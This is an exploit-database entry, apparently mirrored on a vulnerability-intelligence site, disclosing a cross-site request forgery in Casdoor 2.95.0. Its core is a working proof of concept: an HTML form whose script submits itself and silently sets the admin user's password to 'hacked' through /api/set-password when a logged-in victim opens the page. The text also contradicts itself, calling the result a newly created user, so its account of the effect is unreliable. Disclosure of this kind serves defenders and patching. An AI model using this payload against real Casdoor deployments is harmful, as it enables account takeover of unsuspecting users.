Lucene search
K

Casdoor 2.95.0 - Cross-Site Request Forgery (CSRF)

🗓️ 29 Oct 2025 00:00:00Reported by Van Lam NguyenType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 122 Views

Casdoor 2.95.0 CSRF flaw enables unauthorized password change via the set password endpoint when a user is logged in.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2023-34927
22 Jun 202313:15
attackerkb
CNNVD
Casdoor 跨站请求伪造漏洞
22 Jun 202300:00
cnnvd
CVE
CVE-2023-34927
22 Jun 202300:00
cve
Cvelist
CVE-2023-34927
22 Jun 202300:00
cvelist
Exploit DB
Casdoor < v1.331.0 - '/api/set-password' CSRF
2 Apr 202400:00
exploitdb
Exploit DB
Casdoor 2.55.0 - Cross-Site Request Forgery (CSRF)
16 Sep 202500:00
exploitdb
EUVD
EUVD-2023-1883
3 Oct 202520:07
euvd
Github Security Blog
Casdoor Cross-Site Request Forgery vulnerability
22 Jun 202315:30
github
NVD
CVE-2023-34927
22 Jun 202313:15
nvd
OSV
GHSA-RWCP-QRWG-56CG Casdoor Cross-Site Request Forgery vulnerability
22 Jun 202315:30
osv
Rows per page
# Exploit Title: Casdoor 2.95.0 - Cross-Site Request Forgery (CSRF)
# Application: Casdoor
# Version: v2.95.0 (2025-10-22)
# Date: 2025-10-23
# Exploit Author: Van Lam Nguyen 
# Vendor Homepage: https://casdoor.org/
# Software Link: https://github.com/casdoor/casdoor/archive/refs/tags/v2.95.0.zip
# Tested on: Windows
# CVE : CVE-2023-34927 ( latest yet to be assigned)

Overview
==================================================
Casdoor v2.95.0 and below was discovered to contain a Cross-Site Request Forgery (CSRF) in the endpoint /api/set-password. 
This vulnerability allows attackers to arbitrarily change the victim user's password via supplying a crafted URL.

Proof of Concept
==================================================

Made an unauthorized request to /api/set-password that bypassed the old password entry authentication step

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>

</html>

If a user is logged into the Casdoor Webapp at time of execution, a new user will be created in the app with the following credentials

userOwner: built&#45;in
userName: admin
newPassword: hacked

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Oct 2025 00:00Current
7High risk
Vulners AI Score7
CVSS 3.16.5
EPSS0.00404
SSVC
122